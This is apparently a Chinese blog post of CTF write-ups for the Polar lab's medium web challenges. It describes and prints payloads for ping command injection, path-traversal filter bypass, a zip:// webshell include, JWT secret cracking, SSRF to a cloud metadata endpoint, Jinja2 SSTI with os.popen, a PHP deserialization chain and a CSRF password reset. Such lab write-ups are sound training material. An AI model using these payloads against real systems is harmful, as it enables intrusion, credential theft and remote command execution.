金币大挑战

发现点到21就

kbar发包就跳转到这,bp发也是一样


发现压缩吧被设置密码

爆破出密码 1170


我们尝试一下得到密码Squirtle1170

里面是两个文件的密码,我们再找找有没有其他线索:

继续查看论坛,发现关键字Squirtle后门,并查看图片,找到文件上传目录 uploads/,尝试拼接看能否访问
view-source:网址,可以看到源代码

我们在网页源码里可以看到一个目录:uploads/Squirtle.zip这是页面底部压缩包文件的目录,这证明这里有文件上传目录,我们访问一下uploads目录:

有目录但不让访问,我们用Squirtle.php试试看有没有木马:

是空白页面,其他的都是404找不到,这证明了确实有木马,而我们刚刚获得的那串字符Squirtle1170很可能是密码,蚁剑连一下

在根目录找到

杰尼龟系统
打开是一个操作系统的界面

发现ping,写个回送地址加上命令

发现有回显示,尝试读取带flag的文件

内容
<?php
// 设置flag文件 - 运行一次即可
$flag_content = "CTF{JennyGu1_RCE_P1ng_1nj3ct10n_F1@9}";
// 创建随机目录和flag文件
$random_dir = bin2hex(random_bytes(8));
$flag_dir = "./" . $random_dir;
$flag_file = $flag_dir . "/flag_" . bin2hex(random_bytes(4)) . ".txt";
// 创建目录和文件
if (!is_dir($flag_dir)) {
mkdir($flag_dir, 0777, true);
}
file_put_contents($flag_file, $flag_content);
// 创建一些干扰文件
for ($i = 0; $i < 10; $i++) {
$fake_file = $flag_dir . "/fake_" . bin2hex(random_bytes(4)) . ".txt";
file_put_contents($fake_file, "这不是flag,继续寻找吧!");
}
// 在其他目录也创建一些干扰文件
$other_dirs = ['logs', 'tmp', 'uploads', 'backup'];
foreach ($other_dirs as $dir) {
if (!is_dir($dir)) {
mkdir($dir, 0777, true);
}
for ($j = 0; $j < 5; $j++) {
$fake_flag = $dir . "/flag_" . bin2hex(random_bytes(3)) . ".txt";
file_put_contents($fake_flag, "假的flag: FLAG{THIS_IS_NOT_THE_REAL_ONE}");
}
}
echo "Flag文件已设置!<br>";
echo "Flag文件路径: " . $flag_file . "<br>";
echo "Flag内容: " . $flag_content . "<br>";
echo "请删除此文件以确保安全。";
?>
--- 检测到可能的命令注入 ---
注意:系统可能已被注入恶意命令! 上面说有很多flag文件是干绕我们的
批量查找flag
127.0.0.1|find / -name "*flag*" 2>/dev/null
先按顺序一个一个试试

竟然回答正确了那么其他的应该都是假的
flag{459fc13bc7e1265b410fa7eb9e87a63e}
static
打开给了源代码

审计一下简单来说就是
给了一个读文的的地方?file=xxx但它有 3 条要求:
1、开头必须是 static/(只能从 static 文件夹出发)
2、不让用 ../,发现就给删了
3、不管你填啥,最后都强制给你加个 .php 后缀
除此之外过滤了一下常见的命令执行函数,和协议
所以用....//绕过一下,拼接flag,以static/开头
pyload;
?file=static/....//flag
Pandora Box
太明显了直接上传照片马

png上传成功,改php被发现了

上传照片马成功,点击跳转发现错误点了

搜索大佬的思路
url存在?flle,可以用zip伪协议打包
# ① 木马压成 zip,改名为 .jpg 绕过上传检查
shell.php → shell.zip → shell.jpg(内容还是 zip 格式)
# ② 上传后得到 upload/ea36edb9....jpg
# ③ include 时用 zip:// 协议,拼接的 .php 恰好补全 zip 内部文件名!
?file=zip://upload/ea36edb9ef98476643e4af0831ff593f.jpg%23shell
↓ include 自动拼 .php ↓
zip://upload/xxx.jpg#shell.php ← zip 包里的 shell.php?file=zip://upload/文件名%23shell&一句话木马参数=ls / 
pyload:
?file=zip://upload/文件名%23shell&一句话木马参数=cat /flag 
Signed_Too_Weak
打开是一个登录框,并且给了用户名和密码

登录看看,发现为普通用户权限

看看cookie

没啥信息但撇了一眼url发现

一长窜密钥,发现像之前做的jtt,找个在线解密一下

用jwt_tool爆破一下,没有的可以看JWT Tool:针对 JSON Web Tokens 的测试工具题解JWT cracking - 让-雅克-卢梭 - 博客园大佬分享
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3ODgxNTcxNjgsImV4cCI6MTc4ODE2MDc2OH0.u9PG1spzGXmegehdNkqF0Rm87SN6jPbsApVvWIoA4AU -C -d /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3ODgxNTcxNjgsImV4cCI6MTc4ODE2MDc2OH0.u9PG1spzGXmegehdNkqF0Rm87SN6jPbsApVvWIoA4AU -T -S hs256 -p "polar"

pyload:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzg4MTU3MTY4LCJleHAiOjE3ODgxNjA3Njh9.eabfgc18GqIWRPlPYkMQHJHMTs0MaeKyUbLP6j80Ddw
云中来信
打开是一个交互的地方,只允许访问白名单域名:preview.polar,和只允许 http/https。访问

想到了ssrf
http://preview.polar@127.0.0.1
把 preview.polar 当作用户名,实际访问 127.0.0.1

尝试拼接一些命令

看来不行,我们试试访问云服务商元数据服务接口:/latest/meta-data 这是AWS 定的"行业规范目录"
http://preview.polar@127.0.0.1/latest/meta-data
访问/latest/api/token先拿token:
http://preview.polar@127.0.0.1/latest/api/token
返回了token,我们根据提示的格式

st/meta-data/ctf/a8dc35b6f9a5e9e44482,我们访问看一下:
http://preview.polar@127.0.0.1/latest/meta-data/ctf/364ed609f03b6dfda9e7
路飞的HTTP协议冒险
看到这题默默打开bp

点击出发吃肉

这样点太慢了,抓包



得到情报:需要获得rubber的power才可以变强,发现url有传参

尝试GET传参?power=rubber意为力

进入

问一下罗宾

获得情报那就 blood=boost&limit=unlock
但不知道发什么包,抓包发现是个POST包

开启成功

发现可以开三档了

问问弗兰奇

原来如此,抓包改一下,加一个X-Luffy-Gear3:BoneInflate

访问/gear4.php

问问雷利

这句也就是在cookie里加上:Trainer: Rayleigh,还有:gear4(四档): BoundMan(弹力人),成功开启四档:

访问/clear_seal.php

显示还有封印问一下甚平

发现传post包就会变成

抓包分析一下

难道要用DELETE请求?结合提示清除前看看状态是否存在,也就是 If-Match 请求头,用来"报编号证明身份"的


访问/0nep1ecef1@g.php

BH
打开给了源代码

分析代码,我们输入的参数会被拼接到ping -c 2 127.0.0.1后面,所以我们用分号;或管道符|来运行命令,
输入?cmd=;ls

?cmd=;cat%20flag.php
提示真的只有在cat /flag时给
被骗了

刚刚就是的
你会渗透吗
给了测试账号text/text

登录进去

里面有一张图片,底部有一个字典生成器,但我们权限不足无法直接跳转,我们直接访问链接/tools/tools.zip,直接下载了:


点击index.html是一个密码生成器

回看照片,搜搜一下有用的信息,发现非常多的信息

收集到的信息填入表中

既然有了用户名还有密码本,是不是可以爆破一下密码登录账户呢(坏笑)
bp抓包用户名用Squirtle,密码随便,抓的包发到intruder里



最后点开始攻击

账户:Squirtle密码:PolarDN138 登录

随便发个123,发现可以发送成功

但这个重置密码结合给管理员发信息,感觉像csrf把重置密码的包先看看是不是get请求

果然,那么思路有了,利用bp自带的csrf功能,把这个包打包成信息发给管理员,这样利用谁点谁的密码都是12345678,这样管理员只要点了密码就是123345678,这样就可以登录管理员账户了,理论成立,开始实践
1,放行那个包,右键找到相关工具点击生成csrfPoc

之后

回到页面给管理员发信息

发送成功

登录账户

得到flag

diary
打开是应该日记,感觉像是xss的存储形,还有sstl

<script>alert(1)</script>弹窗成功

试试sstl
{{7*7}}会出现49

但是好像因为刚刚的弹窗,现在只要发送信息就会弹一下窗
试试xss,

没有什么有用的信息排除xss
用dirsearch扫到了两个目录:

/clear是清理文章的,/source是源码,我们看看源码:




.漏洞识别
页面是 Flask + Jinja2 的日记本,提交的内容直接当模板渲染(提示语里明说了 "Use template syntax")。测试 {{7*7}} 返回 49 SSTI 确认
排除xss
接下来模糊匹配
{{url_for|attr("__glo"+"bals__")|attr("get")("o"+"s")|attr("po"+"pen")("ls /")|attr("read")()}}

看来不在根目录

pyload:
{{url_for|attr("__glo"+"bals__")|attr("get")("o"+"s")|attr("po"+"pen")("cat /app/flag")|attr("read")()}}
魔法导入器
看着好像是应该php反序列化的题

查看一下源码

<?php
class FileViewer
{
public $path;
public function __toString()
{
if ($this->path && file_exists($this->path)) {
return file_get_contents($this->path);
}
return "[文件未找到]";
}
}
class Welcome
{
public $user;
public function __destruct()
{
echo "<div class='bye-msg'>再见," . $this->user . "!</div>";
}
}
class Profile
{
public $name;
public $bio;
public function __wakeup()
{
if (strlen($this->name) > 30) {
$this->name = substr($this->name, 0, 30);
}
if (strlen($this->bio) > 200) {
$this->bio = substr($this->bio, 0, 200);
}
}
}
function validate_serialized($data)
{
$rules = [
'/s:\d+:"[^"]*flag[^"]*"/' => '拦截:检测到 flag 路径 (s:string)',
'/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/' => '拦截:不允许的类',
];
foreach ($rules as $pattern => $msg) {
if (preg_match($pattern, $data)) {
return [false, $msg];
}
}
return [true, '验证通过'];
}
// Source code view
if (isset($_GET['source'])) {
highlight_file(__FILE__);
exit;
}
// Logic
$result = '';
$error = '';
$destruct_output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) {
$raw = trim($_POST['data']);
list($ok, $msg) = validate_serialized($raw);
if (!$ok) {
$error = $msg;
} else {
$obj = @unserialize($raw);
if ($obj === false && $raw !== 'b:0;') {
$error = '反序列化失败:格式无效';
} else {
$result = '导入成功!对象类型:' . get_class($obj);
// Force __destruct() NOW so output is visible on page
ob_start();
$obj = null;
$destruct_output = ob_get_clean();
}
}
}
$demo = new Profile();
$demo->name = 'Alice';
$demo->bio = 'CTF Player';
$export = serialize($demo);
?>简单审计了一下,有三个类,三个类里有三个魔术方法,分别是__toString(),__destruct(),__wakeup()
触发方式为 对象被当成字符串使用时触发 ,对象销毁时触发,对象序列化还原后触发。
还有一个过滤
1 拦 flag 路径:/s:\d+:"[^"]*flag[^"]*"/
2 拦非法类名:/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/
function validate_serialized($data)
{
$rules = [
'/s:\d+:"[^"]*flag[^"]*"/' => '拦截:检测到 flag 路径 (s:string)',
'/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/' => '拦截:不允许的类',
];
foreach ($rules as $pattern => $msg) {
if (preg_match($pattern, $data)) {
return [false, $msg];
}
}
return [true, '验证通过'];
}检查的是flag这个,想一想如何绕过呢,
感觉像rec一样,转义绕过fl\ag进行绕过试试
现在理一下思路:
1,不能实例化Profile也用不到,一旦实例化就会触发__wakeup(),进行字符截断
2,实例化Welcome,利用销毁时触发,
echo "<div class='bye-msg'>再见," . $this->user . "!</div>";进行字符拼接后面的类从而触发 __toString()方法,里有file_get_contents()函数是把一个文件(或数据源)的内容全部读出来,但前面会用file_exists()函数是检查文件或目录是否存在的
所以构建
<?php
class FileViewer
{
public $path;
public function __toString()
{
if ($this->path && file_exists($this->path)) {
return file_get_contents($this->path);
}
return "[文件未找到]";
}
}
class Welcome
{
public $user;
public function __destruct()
{
echo "<div class='bye-msg'>再见," . $this->user . "!</div>";
}
}
function validate_serialized($data)
{
$rules = [
'/s:\d+:"[^"]*flag[^"]*"/' => '拦截:检测到 flag 路径 (s:string)',
'/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/' => '拦截:不允许的类',
];
foreach ($rules as $pattern => $msg) {
if (preg_match($pattern, $data)) {
return [false, $msg];
}
}
return [true, '验证通过'];
}
$a=new Welcome();
$b=new FileViewer();
$a->user=$b;
$b->path="/fl\ag";
echo serialize($a);
?>
>>>
O:7:"Welcome":1:{s:4:"user";O:10:"FileViewer":1:{s:4:"path";s:6:"/fl\ag";}}



成功导入但没有回显,可能转义出现问题,换一个,flag
/\66lag,/f\6cag,/fl\61g,/fla\67,/\66\6c\61\67
转义后都是flag
O:7:"Welcome":1:{s:4:"user";O:10:"FileViewer":1:{s:4:"path";s:5:"/fl\61g";}}
但还是不行

最后问了ai才知道,要大写S,小写s不会转义\61为a

所以改一下
O:7:"Welcome":1:{s:4:"user";O:10:"FileViewer":1:{S:4:"path";S:5:"/fl\61g";}}
得到flag

打地鼠
打开

发现突破到100了也没有任何提示

也没有任何东西

然后凭借猜得出参数名称为 flag_key,传参拿到 flag:

消消乐
玩赢就给

flag{06555a53b8b6e75a5bd6b78d440cac38}
打赏
打开

随便填

我就知道逗我玩

感觉这个//QD2AHXMGSJMMG2NM 很可疑像是base系列的加密
各种工具解密后还是得不到任何有用的信息
搜了个wp才知道,怎么还能反转之后再base32解密啊
将QD2AHXMGSJMMG2NM反转MN2GMJMSGMXHA2DQ
base32解密出来后是ctf123.php是个php文件访问一下

看到源码了
简单审计一下一共有两关
第一关很好过,只要加一个cookie头route=auditor
第二关
$route = $_GET['route'] ?? '';
if (preg_match('/admin/i', $route)) {
stop('第二关:检测到敏感路由 admin');
}
$route = urldecode($route);
if ($route !== 'admin/panel') {
stop('第二关:没有进入管理路由');
}给了一个可控参数,route过滤了admin的大小写,
之后进行url编码,如果传递数据不是admin/panel
就返回没有进入管理路由
所以想到二次编码,将admin进行二次编码%61%64%6D%69%6E第一次编码
%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45二次编码
传入的数据,浏览器自动解密一次变成%61%64%6D%69%6E,不是admin
然后urldecode解密一次变成admin比较成功返回flag

palor靶场-中等方向(49-58)扩展
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
赞赏支持
如果觉得文章对你有帮助,可以请作者喝杯奶茶
评论交流
欢迎留下你的想法